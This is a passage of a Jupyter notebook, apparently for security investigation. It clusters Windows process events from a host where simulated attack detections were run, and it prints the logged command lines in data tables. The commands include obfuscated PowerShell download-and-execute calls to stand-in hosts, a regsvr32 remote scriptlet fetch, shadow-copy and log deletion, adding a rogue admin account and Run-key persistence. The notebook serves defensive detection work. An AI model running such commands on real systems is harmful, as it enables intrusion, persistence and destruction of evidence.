602019-01-15 05:15:16.7202019-01-15 05:15:15.880C:\\Diagnostics\\UserTmp\\cmd.exe.\\cmd /c \"cd /d \"C:\\inetpub\\wwwroot\"&powershell Set-ExecutionPolicy RemoteSigned&echo [S]&cd&ec...3.0252941False
612019-01-15 05:15:16.7672019-01-15 04:45:24.523C:\\Diagnostics\\UserTmp\\cmd.exe.\\cmd /c \"cd /d \"C:\\inetpub\\wwwroot\"&powershell Enable-WSManCredSSP =2013Role Server -force&ech...1.0282941False
622019-01-15 05:15:16.8072019-01-15 04:45:24.523C:\\Diagnostics\\UserTmp\\cmd.exe.\\cmd /c \"cd /d \"C:\\inetpub\\wwwroot\"&powershell winrm set winrm/config/service/Auth @{Kerberos=...1.0312941False
632019-01-15 05:15:16.8502019-01-15 05:15:17.580C:\\Diagnostics\\UserTmp\\cmd.exe.\\cmd /c \"cd /d \"C:\\ProgramData\"&copy \\\\[REDACTED]\\c$\\users\\[REDACTED]\\Documents\\\"Password Chan...2.0292941False
642019-01-15 05:15:16.8932019-01-15 04:45:24.523C:\\Diagnostics\\UserTmp\\cmd.exe.\\cmd /c \"cd /d \"C:\\inetpub\\wwwroot\"&c:\\windows\\system32\\inetsrv\\appcmd set config \"Default Web...1.0412941False
652019-01-15 05:15:16.9672019-01-15 04:45:24.523C:\\Diagnostics\\UserTmp\\cmd.exe.\\cmd /c \"cd /d \"C:\\inetpub\\wwwroot\"&del C:\\inetpub\\logs\\logFiles\\W3SVC1\\*.log /q&echo [S]&cd&e...1.0322941False
672019-01-15 05:15:17.0772019-01-15 05:15:19.617C:\\Diagnostics\\UserTmp\\sdopfjiowtbkjfnbeioruj.exec:\\Diagnostics\\UserTmp\\sdopfjiowtbkjfnbeioruj.exe9.065005False
682019-01-15 05:15:17.1272019-01-15 05:15:18.630C:\\Diagnostics\\UserTmp\\doubleextension.pdf.exec:\\Diagnostics\\UserTmp\\doubleextension.pdf.exe7.074617False
692019-01-15 05:15:17.1372019-01-15 05:15:12.067C:\\Windows\\System32\\vssadmin.exevssadmin delete shadows /all /quiet4.073131False
1692019-01-15 05:15:17.4102019-01-15 05:15:14.640C:\\Diagnostics\\UserTmp\\svchost.exec:\\Diagnostics\\UserTmp\\svchost.exe6.063411False
1712019-01-15 05:15:17.4932019-01-15 04:45:24.523C:\\Windows\\System32\\svchost.exec:\\Windows\\System32\\svchost.exe -k malicious1.093040False
1762019-01-15 05:15:18.0802019-01-15 04:45:24.523C:\\Diagnostics\\UserTmp\\wuauclt.exe.\\wuauclt.exe /C \"c:\\windows\\softwaredistribution\\cscript.exe\"1.0143406False
1902019-01-15 05:15:18.2872019-01-15 05:15:18.967C:\\Diagnostics\\UserTmp\\lsass.exe.\\lsass.exe /C \"c:\\windows\\softwaredistribution\\cscript.exe\"2.0143183False
1932019-01-15 05:15:18.3372019-01-15 05:02:28.260C:\\Diagnostics\\UserTmp\\cmd.execmd /c \"powershell wscript.shell used to download a .gif\"5.0142941False
1952019-01-15 05:15:18.4502019-01-15 04:45:24.523C:\\Diagnostics\\UserTmp\\cmd.execmd /c \"cd /d \"C:\\inetpub\\wwwroot\"&c:\\windows\\system32\\inetsrv\\appcmd set config \"Default Web S...1.0392941False
1982019-01-15 05:15:18.5532019-01-15 04:45:24.523C:\\Diagnostics\\UserTmp\\cmd.execmd /c echo \" SYSTEMINFO && SYSTEMINFO && DEL \"1.0172941False
2112019-01-15 05:15:19.2232019-01-15 05:15:19.337C:\\Diagnostics\\UserTmp\\hd.exehd.exe -pslist2.042837False
2192019-01-15 05:15:20.6232019-01-15 04:45:24.523C:\\Windows\\System32\\wermgr.exeC:\\Windows\\system32\\wermgr.exe -upload1.072922True
02019-01-15 05:24:24.0102019-01-15 04:46:24.017C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\CT_602681692\\NativeDSC\\De...\"C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\CT_602681692\\NativeDSC\\D...35.05212225True
12019-01-15 05:24:24.0232019-01-15 04:46:24.033C:\\Windows\\System32\\conhost.exe\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV139.0103028True
22019-01-15 05:24:25.8072019-01-15 04:46:25.800C:\\Windows\\SysWOW64\\wbem\\WmiPrvSE.exeC:\\Windows\\sysWOW64\\wbem\\wmiprvse.exe -secured -Embedding38.0103478True
32019-01-15 05:24:26.0102019-01-15 04:46:26.007C:\\Windows\\System32\\cscript.exe\"C:\\Windows\\system32\\cscript.exe\" /nologo \"MonitorKnowledgeDiscovery.vbs\"71.0133022True
\n", "
" ], "text/plain": [ " TimeGenerated LastEventTime \\\n", "292 2019-01-15 04:23:43.103 2019-01-15 04:45:24.523 \n", "270 2019-01-15 04:28:01.517 2019-01-15 04:28:33.090 \n", "133 2019-01-15 04:35:15.673 2019-01-15 04:45:24.523 \n", "134 2019-01-15 04:35:16.060 2019-01-15 04:45:24.523 \n", "254 2019-01-15 04:42:25.437 2019-01-15 05:12:25.403 \n", "256 2019-01-15 04:43:05.240 2019-01-15 04:45:24.523 \n", "301 2019-01-15 04:44:37.180 2019-01-15 04:45:24.523 \n", "356 2019-01-15 04:45:24.523 2019-01-15 04:45:24.523 \n", "74 2019-01-15 05:15:03.017 2019-01-15 04:45:24.523 \n", "75 2019-01-15 05:15:03.047 2019-01-15 04:45:24.523 \n", "77 2019-01-15 05:15:03.247 2019-01-15 05:15:11.260 \n", "78 2019-01-15 05:15:03.257 2019-01-15 04:45:24.523 \n", "80 2019-01-15 05:15:03.410 2019-01-15 05:15:14.693 \n", "82 2019-01-15 05:15:03.517 2019-01-15 04:45:24.523 \n", "83 2019-01-15 05:15:03.543 2019-01-15 04:45:24.523 \n", "85 2019-01-15 05:15:03.830 2019-01-15 05:15:19.447 \n", "86 2019-01-15 05:15:03.850 2019-01-15 04:45:24.523 \n", "87 2019-01-15 05:15:04.507 2019-01-15 04:45:24.523 \n", "94 2019-01-15 05:15:10.753 2019-01-15 04:45:24.523 \n", "95 2019-01-15 05:15:10.817 2019-01-15 05:15:14.453 \n", "96 2019-01-15 05:15:11.190 2019-01-15 05:15:14.453 \n", "122 2019-01-15 05:15:11.947 2019-01-15 05:15:14.563 \n", "125 2019-01-15 05:15:12.123 2019-01-15 05:15:14.157 \n", "130 2019-01-15 05:15:12.393 2019-01-15 04:45:24.523 \n", "139 2019-01-15 05:15:12.847 2019-01-15 04:45:24.523 \n", "104 2019-01-15 05:15:12.977 2019-01-15 05:15:19.583 \n", "106 2019-01-15 05:15:13.100 2019-01-15 04:45:24.523 \n", "108 2019-01-15 05:15:13.220 2019-01-15 04:45:24.523 \n", "110 2019-01-15 05:15:13.337 2019-01-15 04:45:24.523 \n", "142 2019-01-15 05:15:15.233 2019-01-15 05:15:14.770 \n", "149 2019-01-15 05:15:15.520 2019-01-15 05:15:15.923 \n", "162 2019-01-15 05:15:16.020 2019-01-15 04:45:24.523 \n", "163 2019-01-15 05:15:16.067 2019-01-15 04:45:24.523 \n", "46 2019-01-15 05:15:16.167 2019-01-15 04:45:24.523 \n", "47 2019-01-15 05:15:16.277 2019-01-15 05:15:14.613 \n", "48 2019-01-15 05:15:16.340 2019-01-15 05:15:14.293 \n", "49 2019-01-15 05:15:16.353 2019-01-15 05:15:16.520 \n", "56 2019-01-15 05:15:16.563 2019-01-15 05:15:18.403 \n", "57 2019-01-15 05:15:16.613 2019-01-15 04:45:24.523 \n", "59 2019-01-15 05:15:16.677 2019-01-15 04:45:24.523 \n", "60 2019-01-15 05:15:16.720 2019-01-15 05:15:15.880 \n", "61 2019-01-15 05:15:16.767 2019-01-15 04:45:24.523 \n", "62 2019-01-15 05:15:16.807 2019-01-15 04:45:24.523 \n", "63 2019-01-15 05:15:16.850 2019-01-15 05:15:17.580 \n", "64 2019-01-15 05:15:16.893 2019-01-15 04:45:24.523 \n", "65 2019-01-15 05:15:16.967 2019-01-15 04:45:24.523 \n", "67 2019-01-15 05:15:17.077 2019-01-15 05:15:19.617 \n", "68 2019-01-15 05:15:17.127 2019-01-15 05:15:18.630 \n", "69 2019-01-15 05:15:17.137 2019-01-15 05:15:12.067 \n", "169 2019-01-15 05:15:17.410 2019-01-15 05:15:14.640 \n", "171 2019-01-15 05:15:17.493 2019-01-15 04:45:24.523 \n", "176 2019-01-15 05:15:18.080 2019-01-15 04:45:24.523 \n", "190 2019-01-15 05:15:18.287 2019-01-15 05:15:18.967 \n", "193 2019-01-15 05:15:18.337 2019-01-15 05:02:28.260 \n", "195 2019-01-15 05:15:18.450 2019-01-15 04:45:24.523 \n", "198 2019-01-15 05:15:18.553 2019-01-15 04:45:24.523 \n", "211 2019-01-15 05:15:19.223 2019-01-15 05:15:19.337 \n", "219 2019-01-15 05:15:20.623 2019-01-15 04:45:24.523 \n", "0 2019-01-15 05:24:24.010 2019-01-15 04:46:24.017 \n", "1 2019-01-15 05:24:24.023 2019-01-15 04:46:24.033 \n", "2 2019-01-15 05:24:25.807 2019-01-15 04:46:25.800 \n", "3 2019-01-15 05:24:26.010 2019-01-15 04:46:26.007 \n", "\n", " NewProcessName \\\n", "292 C:\\Windows\\System32\\taskhostw.exe \n", "270 C:\\Program Files (x86)\\Google\\Update\\GoogleUpdate.exe \n", "133 C:\\Windows\\System32\\sppsvc.exe \n", "134 C:\\Windows\\System32\\wbem\\WmiPrvSE.exe \n", "254 C:\\Windows\\System32\\MusNotification.exe \n", "256 C:\\WindowsAzure\\GuestAgent_2.7.41491.901_2019-01-14_202614\\CollectGuestLogs.exe \n", "301 C:\\Windows\\System32\\cmd.exe \n", "356 C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\Resources\\222\\pmfexe.exe \n", "74 C:\\Windows\\System32\\dllhost.exe \n", "75 C:\\Windows\\System32\\cmd.exe \n", "77 C:\\Windows\\System32\\cmd.exe \n", "78 C:\\Windows\\System32\\cmd.exe \n", "80 C:\\Windows\\System32\\net1.exe \n", "82 C:\\Windows\\System32\\net1.exe \n", "83 C:\\Windows\\System32\\Dism.exe \n", "85 C:\\Windows\\System32\\net.exe \n", "86 C:\\Windows\\Temp\\CC563BBE-DE32-44D3-8E35-F3FC78E72E40\\DismHost.exe \n", "87 C:\\Windows\\servicing\\TrustedInstaller.exe \n", "94 C:\\Diagnostics\\UserTmp\\regsvr32.exe \n", "95 C:\\Windows\\System32\\svchost.exe \n", "96 C:\\Windows\\System32\\win32calc.exe \n", "122 C:\\Diagnostics\\UserTmp\\implant.exe \n", "125 C:\\Diagnostics\\UserTmp\\cmd.exe \n", "130 C:\\Diagnostics\\UserTmp\\powershell.exe \n", "139 C:\\Diagnostics\\UserTmp\\powershell.exe \n", "104 C:\\Diagnostics\\UserTmp\\powershell.exe \n", "106 C:\\Diagnostics\\UserTmp\\powershell.exe \n", "108 C:\\Diagnostics\\UserTmp\\powershell.exe \n", "110 C:\\Diagnostics\\UserTmp\\cmd.exe \n", "142 C:\\Windows\\System32\\whoami.exe \n", "149 C:\\Windows\\System32\\net.exe \n", "162 C:\\Diagnostics\\UserTmp\\cmd.exe \n", "163 C:\\Diagnostics\\UserTmp\\netsh.exe \n", "46 C:\\Diagnostics\\UserTmp\\reg.exe \n", "47 C:\\Diagnostics\\UserTmp\\cmd.exe \n", "48 C:\\Diagnostics\\UserTmp\\rundll32.exe \n", "49 C:\\Diagnostics\\UserTmp\\12345.exe \n", "56 C:\\Diagnostics\\UserTmp\\reg.exe \n", "57 C:\\Diagnostics\\UserTmp\\tsetup.1.exe \n", "59 C:\\Diagnostics\\UserTmp\\netsh.exe \n", "60 C:\\Diagnostics\\UserTmp\\cmd.exe \n", "61 C:\\Diagnostics\\UserTmp\\cmd.exe \n", "62 C:\\Diagnostics\\UserTmp\\cmd.exe \n", "63 C:\\Diagnostics\\UserTmp\\cmd.exe \n", "64 C:\\Diagnostics\\UserTmp\\cmd.exe \n", "65 C:\\Diagnostics\\UserTmp\\cmd.exe \n", "67 C:\\Diagnostics\\UserTmp\\sdopfjiowtbkjfnbeioruj.exe \n", "68 C:\\Diagnostics\\UserTmp\\doubleextension.pdf.exe \n", "69 C:\\Windows\\System32\\vssadmin.exe \n", "169 C:\\Diagnostics\\UserTmp\\svchost.exe \n", "171 C:\\Windows\\System32\\svchost.exe \n", "176 C:\\Diagnostics\\UserTmp\\wuauclt.exe \n", "190 C:\\Diagnostics\\UserTmp\\lsass.exe \n", "193 C:\\Diagnostics\\UserTmp\\cmd.exe \n", "195 C:\\Diagnostics\\UserTmp\\cmd.exe \n", "198 C:\\Diagnostics\\UserTmp\\cmd.exe \n", "211 C:\\Diagnostics\\UserTmp\\hd.exe \n", "219 C:\\Windows\\System32\\wermgr.exe \n", "0 C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\CT_602681692\\NativeDSC\\De... \n", "1 C:\\Windows\\System32\\conhost.exe \n", "2 C:\\Windows\\SysWOW64\\wbem\\WmiPrvSE.exe \n", "3 C:\\Windows\\System32\\cscript.exe \n", "\n", " CommandLine \\\n", "292 taskhostw.exe SYSTEM \n", "270 \"C:\\Program Files (x86)\\Google\\Update\\GoogleUpdate.exe\" /ua /installsource scheduler \n", "133 C:\\Windows\\system32\\sppsvc.exe \n", "134 C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding \n", "254 C:\\Windows\\system32\\MusNotification.exe Display \n", "256 \"CollectGuestLogs.exe\" -Mode:ga -FileName:C:\\WindowsAzure\\CollectGuestLogsTemp\\710dc858-9c96-4df... \n", "301 \"cmd\" \n", "356 \"C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\Resources\\222\\pmfexe.exe... \n", "74 C:\\Windows\\system32\\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E} \n", "75 cmd.exe /c c:\\Diagnostics\\WindowsSimulateDetections.bat c:\\Diagnostics\\UserTmp \n", "77 cmd /c echo Any questions about the commands executed here then please contact one of \n", "78 cmd /c echo timb@microsoft.com; romead@microsoft.com; ianhelle@microsoft.com; marcook@microsoft... \n", "80 C:\\Windows\\system32\\net1 user adm1nistrator Bob_testing /add \n", "82 C:\\Windows\\system32\\net1 share TestShare=c:\\testshare /Grant:Users,Read \n", "83 dism /online /enable-feature /featurename:File-Services /NoRestart \n", "85 net use q: \\\\MSTICAlertsWin1\\TestShare Bob_testing /User:adm1nistrator \n", "86 C:\\Windows\\TEMP\\CC563BBE-DE32-44D3-8E35-F3FC78E72E40\\dismhost.exe {D57BA872-53C0-424D-80AE-E4911... \n", "87 C:\\Windows\\servicing\\TrustedInstaller.exe \n", "94 .\\regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll \n", "95 C:\\Windows\\system32\\svchost.exe -k wsappx \n", "96 \"C:\\Windows\\System32\\win32calc.exe\" \n", "122 implant.exe k111 \n", "125 cmd /c \"echo Invoke-Expression Get-Process; Invoke-WebRequest -Uri http://badguyserver/pwnme\" \n", "130 .\\powershell -Noninteractive -Noprofile -Command \"Invoke-Expression Get-Process; Invoke-WebRequ... \n", "139 .\\powershell -command \"(New-Object Net.WebClient).DownloadString(('ht'+'tp://pasteb' + 'bin/'+'... \n", "104 .\\powershell -command {(n`EW-obJ`E`cT N`et`.W`eb`C`li`en`t).DownloadFile('https://blah/png','go... \n", "106 .\\powershell.exe -c \"$a = 'Download'+'String'+\"(('ht'+'tp://paste'+ 'bin/'+'raw/'+'pqCwEm17'))\"... \n", "108 .\\powershell -c {IEX (New-Object Net.WebClient).DownloadString(('ht'+(\"{2}{0}{1}\"-f ':/','/past... \n", "110 cmd /c \".\\pOWErS^H^ElL^.eX^e^ -^ExEc^Ut^IoNpOliCy BYpa^sS i^mPOr^T-^M^oDuLE biTsTr^ANSFe^R;^S^t... \n", "142 whoami \n", "149 net group \"Domain Admins\" /domain \n", "162 cmd /c C:\\Windows\\System32\\mshta.exe vbscript:CreateObject(\"Wscript.Shell\").Run(\".\\powershell.e... \n", "163 .\\netsh advfirewall firewall add rule name=RbtGskQ action=allow program=c:\\users\\Bob\\appdata\\Ro... \n", "46 .\\reg not /domain:everything that /sid:shines is /krbtgt:golden ! \n", "47 cmd /c \"systeminfo && systeminfo\" \n", "48 .\\rundll32 /C 12345.exe \n", "49 12345.exe \n", "56 .\\reg.exe add \\hkcu\\software\\microsoft\\some\\key\\Run /v abadvalue \n", "57 c:\\Diagnostics\\UserTmp\\tsetup.1.exe C:\\Users\\MSTICAdmin\\AppData\\Local\\Temp\\2\\is-01DD7.tmp\\tsetu... \n", "59 .\\netsh.exe \"in (*.exe) do start # artificial commandline solely for purposes of triggering test\" \n", "60 .\\cmd /c \"cd /d \"C:\\inetpub\\wwwroot\"&powershell Set-ExecutionPolicy RemoteSigned&echo [S]&cd&ec... \n", "61 .\\cmd /c \"cd /d \"C:\\inetpub\\wwwroot\"&powershell Enable-WSManCredSSP =2013Role Server -force&ech... \n", "62 .\\cmd /c \"cd /d \"C:\\inetpub\\wwwroot\"&powershell winrm set winrm/config/service/Auth @{Kerberos=... \n", "63 .\\cmd /c \"cd /d \"C:\\ProgramData\"© \\\\[REDACTED]\\c$\\users\\[REDACTED]\\Documents\\\"Password Chan... \n", "64 .\\cmd /c \"cd /d \"C:\\inetpub\\wwwroot\"&c:\\windows\\system32\\inetsrv\\appcmd set config \"Default Web... \n", "65 .\\cmd /c \"cd /d \"C:\\inetpub\\wwwroot\"&del C:\\inetpub\\logs\\logFiles\\W3SVC1\\*.log /q&echo [S]&cd&e... \n", "67 c:\\Diagnostics\\UserTmp\\sdopfjiowtbkjfnbeioruj.exe \n", "68 c:\\Diagnostics\\UserTmp\\doubleextension.pdf.exe \n", "69 vssadmin delete shadows /all /quiet \n", "169 c:\\Diagnostics\\UserTmp\\svchost.exe \n", "171 c:\\Windows\\System32\\svchost.exe -k malicious \n", "176 .\\wuauclt.exe /C \"c:\\windows\\softwaredistribution\\cscript.exe\" \n", "190 .\\lsass.exe /C \"c:\\windows\\softwaredistribution\\cscript.exe\" \n", "193 cmd /c \"powershell wscript.shell used to download a .gif\" \n", "195 cmd /c \"cd /d \"C:\\inetpub\\wwwroot\"&c:\\windows\\system32\\inetsrv\\appcmd set config \"Default Web S... \n", "198 cmd /c echo \" SYSTEMINFO && SYSTEMINFO && DEL \" \n", "211 hd.exe -pslist \n", "219 C:\\Windows\\system32\\wermgr.exe -upload \n", "0 \"C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\CT_602681692\\NativeDSC\\D... \n", "1 \\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1 \n", "2 C:\\Windows\\sysWOW64\\wbem\\wmiprvse.exe -secured -Embedding \n", "3 \"C:\\Windows\\system32\\cscript.exe\" /nologo \"MonitorKnowledgeDiscovery.vbs\" \n", "\n", " ClusterSize commandlineTokensFull pathScore isSystemSession \n", "292 1.0 2 3262 True \n", "270 2.0 17 4895 True \n", "133 1.0 5 2933 True \n", "134 1.0 8 3546 True \n", "254 2.0 6 3826 True \n", "256 1.0 18 6421 True \n", "301 1.0 2 2570 True \n", "356 1.0 27 9108 True \n", "74 1.0 12 3024 True \n", "75 1.0 12 2570 True \n", "77 2.0 16 2570 False \n", "78 1.0 21 2570 False \n", "80 7.0 10 2638 False \n", "82 1.0 13 2638 False \n", "83 1.0 11 2659 True \n", "85 3.0 12 2589 False \n", "86 1.0 15 4900 True \n", "87 1.0 5 4175 True \n", "94 1.0 20 3399 False \n", "95 2.0 8 3040 True \n", "96 28.0 8 3100 False \n", "122 7.0 3 3390 False \n", "125 3.0 21 2941 False \n", "130 1.0 25 3726 False \n", "139 1.0 36 3726 False \n", "104 2.0 24 3726 False \n", "106 1.0 68 3726 False \n", "108 1.0 53 3726 False \n", "110 1.0 46 2941 False \n", "142 3.0 0 2907 False \n", "149 2.0 8 2589 False \n", "162 1.0 56 2941 False \n", "163 1.0 18 3179 False \n", "46 1.0 16 2951 False \n", "47 23.0 10 2941 False \n", "48 15.0 7 3391 False \n", "49 3.0 1 2888 False \n", "56 3.0 15 2951 False \n", "57 1.0 40 3405 False \n", "59 1.0 22 3179 False \n", "60 3.0 25 2941 False \n", "61 1.0 28 2941 False \n", "62 1.0 31 2941 False \n", "63 2.0 29 2941 False \n", "64 1.0 41 2941 False \n", "65 1.0 32 2941 False \n", "67 9.0 6 5005 False \n", "68 7.0 7 4617 False \n", "69 4.0 7 3131 False \n", "169 6.0 6 3411 False \n", "171 1.0 9 3040 False \n", "176 1.0 14 3406 False \n", "190 2.0 14 3183 False \n", "193 5.0 14 2941 False \n", "195 1.0 39 2941 False \n", "198 1.0 17 2941 False \n", "211 2.0 4 2837 False \n", "219 1.0 7 2922 True \n", "0 35.0 52 12225 True \n", "1 39.0 10 3028 True \n", "2 38.0 10 3478 True \n", "3 71.0 13 3022 True " ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "resp = input('View the clustered data? y/n')\n", "if resp == 'y':\n", " display(clus_events.sort_values('TimeGenerated')[['TimeGenerated', 'LastEventTime',\n", " 'NewProcessName', 'CommandLine', \n", " 'ClusterSize', 'commandlineTokensFull',\n", " 'pathScore', 'isSystemSession']])" ] }, { "cell_type": "code", "execution_count": 44, "metadata": {}, "outputs": [ { "data": { "text/html": [ "
\n", "\n", "\n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", "
ClusterSizeprocessNameCommandLineClusterId
461.0reg.exe.\\reg not /domain:everything that /sid:shines is /krbtgt:golden !-1.0
563.0reg.exe.\\reg.exe add \\hkcu\\software\\microsoft\\some\\key\\Run /v abadvalue7.0
\n", "
" ], "text/plain": [ " ClusterSize processName \\\n", "46 1.0 reg.exe \n", "56 3.0 reg.exe \n", "\n", " CommandLine \\\n", "46 .\\reg not /domain:everything that /sid:shines is /krbtgt:golden ! \n", "56 .\\reg.exe add \\hkcu\\software\\microsoft\\some\\key\\Run /v abadvalue \n", "\n", " ClusterId \n", "46 -1.0 \n", "56 7.0 " ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "# Look at clusters for individual process names\n", "def view_cluster(exe_name):\n", " display(clus_events[['ClusterSize', 'processName', 'CommandLine', 'ClusterId']][clus_events['processName'] == exe_name])\n", "view_cluster('reg.exe')" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "scrolled": false, "tags": [ "todo" ] }, "outputs": [], "source": [ "# Show all clustered processes\n", "\n", "# Create label with unqualified path\n", "labelled_df = processes_on_host.copy()\n", "labelled_df['label'] = labelled_df.apply(lambda x: x.NewProcessName.split(security_alert.path_separator)[-1], axis=1)\n", "\n", "%matplotlib inline\n", "#%matplotlib notebook\n", "plt.rcParams['figure.figsize'] = (15,10)\n", "nbdisp.plot_cluster(dbcluster, labelled_df, x_data, plot_label='label', plot_features=[0,1], verbose=False, cut_off=3,\n", " xlabel='CmdLine Tokens', ylabel='Path Score');\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Time showing clustered vs. original data" ] }, { "cell_type": "code", "execution_count": 46, "metadata": {}, "outputs": [ { "data": { "text/html": [ "\n", "
\n", " \n", " Loading BokehJS ...\n", "
" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/javascript": [ "\n", "(function(root) {\n", " function now() {\n", " return new Date();\n", " }\n", "\n", " var force = true;\n", "\n", " if (typeof (root._bokeh_onload_callbacks) === \"undefined\" || force === true) {\n", " root._bokeh_onload_callbacks = [];\n", " root._bokeh_is_loading = undefined;\n", " }\n", "\n", " var JS_MIME_TYPE = 'application/javascript';\n", " var HTML_MIME_TYPE = 'text/html';\n", " var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n", " var CLASS_NAME = 'output_bokeh rendered_html';\n", "\n", " /**\n", " * Render data to the DOM node\n", " */\n", " function render(props, node) {\n", " var script = document.createElement(\"script\");\n", " node.appendChild(script);\n", " }\n", "\n", " /**\n", " * Handle when an output is cleared or removed\n", " */\n", " function handleClearOutput(event, handle) {\n", " var cell = handle.cell;\n", "\n", " var id = cell.output_area._bokeh_element_id;\n", " var server_id = cell.output_area._bokeh_server_id;\n", " // Clean up Bokeh references\n", " if (id !== undefined) {\n", " Bokeh.index[id].model.document.clear();\n", " delete Bokeh.index[id];\n", " }\n", "\n", " if (server_id !== undefined) {\n", " // Clean up Bokeh references\n", " var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n", " cell.notebook.kernel.execute(cmd, {\n", " iopub: {\n", " output: function(msg) {\n", " var element_id = msg.content.text.trim();\n", " Bokeh.index[element_id].model.document.clear();\n", " delete Bokeh.index[element_id];\n", " }\n", " }\n", " });\n", " // Destroy server and session\n", " var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n", " cell.notebook.kernel.execute(cmd);\n", " }\n", " }\n", "\n", " /**\n", " * Handle when a new output is added\n", " */\n", " function handleAddOutput(event, handle) {\n", " var output_area = handle.output_area;\n", " var output = handle.output;\n", "\n", " // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n", " if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n", " return\n", " }\n", "\n", " var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n", "\n", " if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n", " toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n", " // store reference to embed id on output_area\n", " output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n", " }\n", " if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n", " var bk_div = document.createElement(\"div\");\n", " bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n", " var script_attrs = bk_div.children[0].attributes;\n", " for (var i = 0; i < script_attrs.length; i++) {\n", " toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n", " }\n", " // store reference to server id on output_area\n", " output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n", " }\n", " }\n", "\n", " function register_renderer(events, OutputArea) {\n", "\n", " function append_mime(data, metadata, element) {\n", " // create a DOM node to render to\n", " var toinsert = this.create_output_subarea(\n", " metadata,\n", " CLASS_NAME,\n", " EXEC_MIME_TYPE\n", " );\n", " this.keyboard_manager.register_events(toinsert);\n", " // Render to node\n", " var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n", " render(props, toinsert[toinsert.length - 1]);\n", " element.append(toinsert);\n", " return toinsert\n", " }\n", "\n", " /* Handle when an output is cleared or removed */\n", " events.on('clear_output.CodeCell', handleClearOutput);\n", " events.on('delete.Cell', handleClearOutput);\n", "\n", " /* Handle when a new output is added */\n", " events.on('output_added.OutputArea', handleAddOutput);\n", "\n", " /**\n", " * Register the mime type and append_mime function with output_area\n", " */\n", " OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n", " /* Is output safe? */\n", " safe: true,\n", " /* Index of renderer in `output_area.display_order` */\n", " index: 0\n", " });\n", " }\n", "\n", " // register the mime type if in Jupyter Notebook environment and previously unregistered\n", " if (root.Jupyter !== undefined) {\n", " var events = require('base/js/events');\n", " var OutputArea = require('notebook/js/outputarea').OutputArea;\n", "\n", " if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n", " register_renderer(events, OutputArea);\n", " }\n", " }\n", "\n", " \n", " if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n", " root._bokeh_timeout = Date.now() + 5000;\n", " root._bokeh_failed_load = false;\n", " }\n", "\n", " var NB_LOAD_WARNING = {'data': {'text/html':\n", " \"
\\n\"+\n", " \"

\\n\"+\n", " \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n", " \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n", " \"

\\n\"+\n", " \"
    \\n\"+\n", " \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
  • \\n\"+\n", " \"
  • use INLINE resources instead, as so:
  • \\n\"+\n", " \"
\\n\"+\n", " \"\\n\"+\n", " \"from bokeh.resources import INLINE\\n\"+\n", " \"output_notebook(resources=INLINE)\\n\"+\n", " \"\\n\"+\n", " \"
\"}};\n", "\n", " function display_loaded() {\n", " var el = document.getElementById(\"1ed20848-e09e-4cf1-8ab5-2ee89dc98a6f\");\n", " if (el != null) {\n", " el.textContent = \"BokehJS is loading...\";\n", " }\n", " if (root.Bokeh !== undefined) {\n", " if (el != null) {\n", " el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n", " }\n", " } else if (Date.now() < root._bokeh_timeout) {\n", " setTimeout(display_loaded, 100)\n", " }\n", " }\n", "\n", "\n", " function run_callbacks() {\n", " try {\n", " root._bokeh_onload_callbacks.forEach(function(callback) { callback() });\n", " }\n", " finally {\n", " delete root._bokeh_onload_callbacks\n", " }\n", " console.info(\"Bokeh: all callbacks have finished\");\n", " }\n", "\n", " function load_libs(js_urls, callback) {\n", " root._bokeh_onload_callbacks.push(callback);\n", " if (root._bokeh_is_loading > 0) {\n", " console.log(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n", " return null;\n", " }\n", " if (js_urls == null || js_urls.length === 0) {\n", " run_callbacks();\n", " return null;\n", " }\n", " console.log(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n", " root._bokeh_is_loading = js_urls.length;\n", " for (var i = 0; i < js_urls.length; i++) {\n", " var url = js_urls[i];\n", " var s = document.createElement('script');\n", " s.src = url;\n", " s.async = false;\n", " 